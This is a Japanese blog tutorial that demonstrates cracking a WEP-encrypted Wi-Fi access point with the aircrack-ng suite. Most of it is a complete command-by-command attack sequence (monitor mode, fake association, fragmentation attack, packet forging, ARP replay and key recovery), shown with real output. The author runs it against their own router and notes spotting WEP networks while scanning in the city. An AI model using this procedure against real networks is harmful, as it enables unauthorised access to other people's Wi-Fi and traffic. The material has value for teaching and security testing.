aircrack-ng による WEP 方式アクセスポイントの奪取
Wi-Fi の暗号方式には WEP, WPA, WPA2 等があり、これらの方式はどれも大抵のルーターで利用設定を行うことができます。ただ、このうちの WEP 方式については容易に解読されうる弱い暗号であることが分かっているため、最近のルーターであればこの機能はデフォルト OFF にされているのが普通です。
2003年に Wi-Fi Appliance から WEP 方式は WPA 方式にとって代わられたと発表され、2004年には IEEE からも WEP 方式が非推奨であることが宣言されました。
WEP 方式のアクセスポイントの探索
非推奨とされる WEP の実際の利用状況はどうなっているかというと、実はいまだに使われている状態が散見されます。
前記事「aircrack-ng による端末周辺の Wi-Fi 情報(SSID 等)の取得 - FAR EAST GATE」では端末周辺の Wi-Fi 情報の収集に触れました。実際に市街で
airodump-ng コマンドにより Wi-Fi アクセスポイント情報を収集してみると、WEP 方式のアクセスポイントがときおり観測されます。
ENC, CIPHER 欄が「WEP」となっている項目が WEP 方式のアクセスポイントです。
WEP がまだ残っているのは、おそらく古いルーター(WPA非対応)を使い続けている人によるものではないかと想像しています。また、初代ニンテンドーDSが WPA に対応していない等、旧機種依存のためにあえて WEP を設定している人もまだ多少はいると思います。
なお、airodump-ng の実行時に「--encrypt WEP」の引数を与えると WEP 方式のアクセスポイントのみに絞って観測を行うことができるため、WEP 方式アクセスポイントのみを探索したい場合にはこの引数を指定すると良いです。以下は実行例です。
# airodump-ng --encrypt WEP wlan0mon CH 12 ][ Elapsed: 12 s ][ 2018-xxxx BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C2:xx:xx:xx:xx:3A -50 31 0 0 5 54e WEP WEP <length: 15> A6:xx:xx:xx:xx:86 -62 29 0 0 8 54e WEP WEP <length: 15> BSSID STATION PWR Rate Lost Frames Probe (not associated) AC:xx:xx:xx:xx:71 -67 0 - 1 3 6
WEP 方式のアクセスポイントの奪取
検証用機材の準備
他人のアクセスポイントを奪取するわけにもいかないので、検証用のアクセスポイントを自分で用意します。具体的には以下の機材を用意します。
以下はルータの無線設定画面です。
暗号化方式を WEP とし、暗号化キーを大小英数と記号の混じった13文字に設定しました。ここまで複雑なキーを総当たりで突破するのは無理でしょう。
無線ネットワークアダプタの MAC アドレスの確認
攻撃者マシン側の無線ネットワークアダプタの MAC アドレスを確認しておきます。
# ifconfig -a wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether f6:79:84:db:e5:90 txqueuelen 1000 (Ethernet)
この MAC アドレスは後の工程で使うため、Bash 変数に格納しておきます。
# MYMAC=f6:79:84:db:e5:90
モニタモードの開始
モニタモードを開始します。
# airmon-ng check kill # airmon-ng start wlan0
アクセスポイントの確認
airodump-ng によりアクセスポイントの BSSID(MACアドレス), CH(チャンネル), ESSID(SSID)を確認します。
# airodump-ng --encrypt WEP wlan0mon BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID ................. 34:F1:C5:9A:03:41 -37 10 0 0 11 54e WEP WEP AirPort .................
ここで確認した BSSID, CH, ESSID は後の工程で使うので、Bash 変数に保管しておきます。
# BSSID=34:F1:C5:9A:03:41 # CH=11 # ESSID=AirPort
利用チャンネルを明示指定してモニタモードを再起動
# airmon-ng stop wlan0mon # airmon-ng start wlan0 $CH
アソシエーションの確立
自分(攻撃者)のネットワークアダプタとアクセスポイントの間にアソシエーションを確立します。
# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MYMAC wlan0mon 22:21:35 Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11 22:21:35 Sending Authentication Request (Open System) [ACK] 22:21:35 Authentication successful 22:21:35 Sending Association Request [ACK] 22:21:35 Association successful :-) (AID: 1)
WEP Fragmentation attack の実施
aireplay-ng コマンドにより WEP Fragmentation attack を実施します。このとき、アクセスポイントに対して接続している正当なクライアントがいないと処理が進まないことに注意してください。WEP Fragmentation attack は正当なクライアントからの通信パケットを傍受することにより必要な情報を収集します。
# aireplay-ng -5 -b $BSSID -h $MYMAC wlan0mon 20:07:28 Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11 20:07:28 Waiting for a data packet... Read 3329 packets... Size: 70, FromDS: 0, ToDS: 1 (WEP) BSSID = 34:F1:C5:9A:03:41 … ルーターのMACアドレス Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 19:05:91:A3:C2:12 … 接続しに来たクライアントのMACアドレス 0x0000: 0842 0000 0100 5e00 00fb 34f1 c59a 0341 .B....^...4v.... 0x0010: 1905 91a3 c212 f040 c3ab 7500 1c18 6710 d..C...@..u...g. 0x0020: ....................................... ................ 0x0030: ....................................... ................ 0x0040: bd03 .... 671f ..=.g. Use this packet ? y ←「y」を入力して進める Saving chosen packet in replay_src-0208-222738.cap 22:27:42 Data packet found! 22:27:42 Sending fragmented packet .... ....(10秒以内程度) .... 22:27:46 Got RELAYED packet!! Saving keystream in fragment-0208-222746.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream # ls -ltr -rw-r--r-- 1 root root 112 Feb 8 22:27 replay_src-0208-222738.cap -rw-r--r-- 1 root root 1504 Feb 8 22:27 fragment-0208-222746.xor
リレーパケットの受信により .cap ファイルおよび .xor ファイルができあがります。
ARPリクエストファイルの作成
packetforge-ng コマンドによりARPリクエストファイル(arp-request)を作成します。
# packetforge-ng -0 -a $BSSID -h $MYMAC -k 255.255.255.255 -l 255.255.255.255 \ -y fragment-*.xor -w arp-request Wrote packet to: arp-request # ls -ltr total 12 -rw-r--r-- 1 root root 112 Feb 8 22:27 replay_src-0208-222738.cap -rw-r--r-- 1 root root 1504 Feb 8 22:27 fragment-0208-222746.xor -rw-r--r-- 1 root root 108 Feb 8 22:31 arp-request
キャプチャ開始
airodump-ng により通信情報をキャプチャします。今回はアクセスポイントのチャンネル番号と BSSID(MAC アドレス)に絞った観測を行い、結果を wepcap-*.cap というファイルに出力します。
# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 34:F1:C5:9A:03:41 -39 100 74 0 0 11 54e WEP WEP AirPort BSSID STATION PWR Rate Lost Frames Probe
この airodump-ng は実行しっぱなしにしておき、「#Data」の数値が溜まるのを待ちます。
ARP リクエスト
標的側のクライアントが積極的に通信をしていれば airodump-ng が収集している「#Data」の数値は勝手に増えていきますが、そうでもない場合には ARP リクエストの送信により通信量の増加を促します。
airodump-ng の実行は止めずに別ターミナルで以下を実行します。(Bash 変数は別ターミナルでも設定し直してください)
# aireplay-ng -2 -h $MYMAC -r arp-request wlan0mon Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 34:F1:C5:9A:03:41 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = F6:79:84:DB:E5:90 0x0000: 0841 0201 34f1 c59a 0341 f679 84db e590 .A..4v........@= .... .... 0x0040: 3aa5 23dd :.#. Use this packet ? y ←「y」を入力して進める
ダンプ状況の確認
実行中の airodump-ng の様子を確認します。「#Data」が4万程度まで溜まっていればだいたい十分です。
# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 34:F1:C5:9A:03:41 -42 0 6682 46053 1 11 54e WEP WEP BSSID STATION PWR Rate Lost Frames Probe
WEP キーの解析
airodump-ng, aireplay-ng の実行はそのまま止めず、airorump-ng が出力する wepcap-*.cap というファイルができているかどうか確認してみます。
# ls -ltr .... .... -rw-r--r-- 1 root root 142892335 Feb 8 23:01 wepcap-01.cap
この .cap ファイルから aircrack-ng コマンドにより WEP キーの解析を行うことができます。
airodump, aireplay-ng とは別でさらに新しいターミナルを開き、以下を実行します。(Bash 変数は別ターミナルでも設定し直してください)
# aircrack-ng -a 1 -b $BSSID wepcap-01.cap Aircrack-ng 1.2 rc4 [00:00:08] Tested 601 keys (got 98109 IVs) KB depth byte(vote) 0 0/ 1 7A(144640) 85(112640) B1(111104) AD(109824) 30(109312) .... .... KEY FOUND! [ 7A:21:49:69:7A:67:33:31:64:41:66:67:3F ] (ASCII: z!Iizg31dAfg? ) Decrypted correctly: 100%
成功です。今回冒頭のほうで設定していた WEP キー「z!Iizg31dAfg?」がみごと解析により判明しました。
解析が終わったら、実行中の airodump-ng, aireplay-ng は終了し、airmon-ng stop wlan0mon で後始末をしてください。
手順が長いですが、これらの手順をある程度自動化するツールもありますので、機会があればいつか紹介します。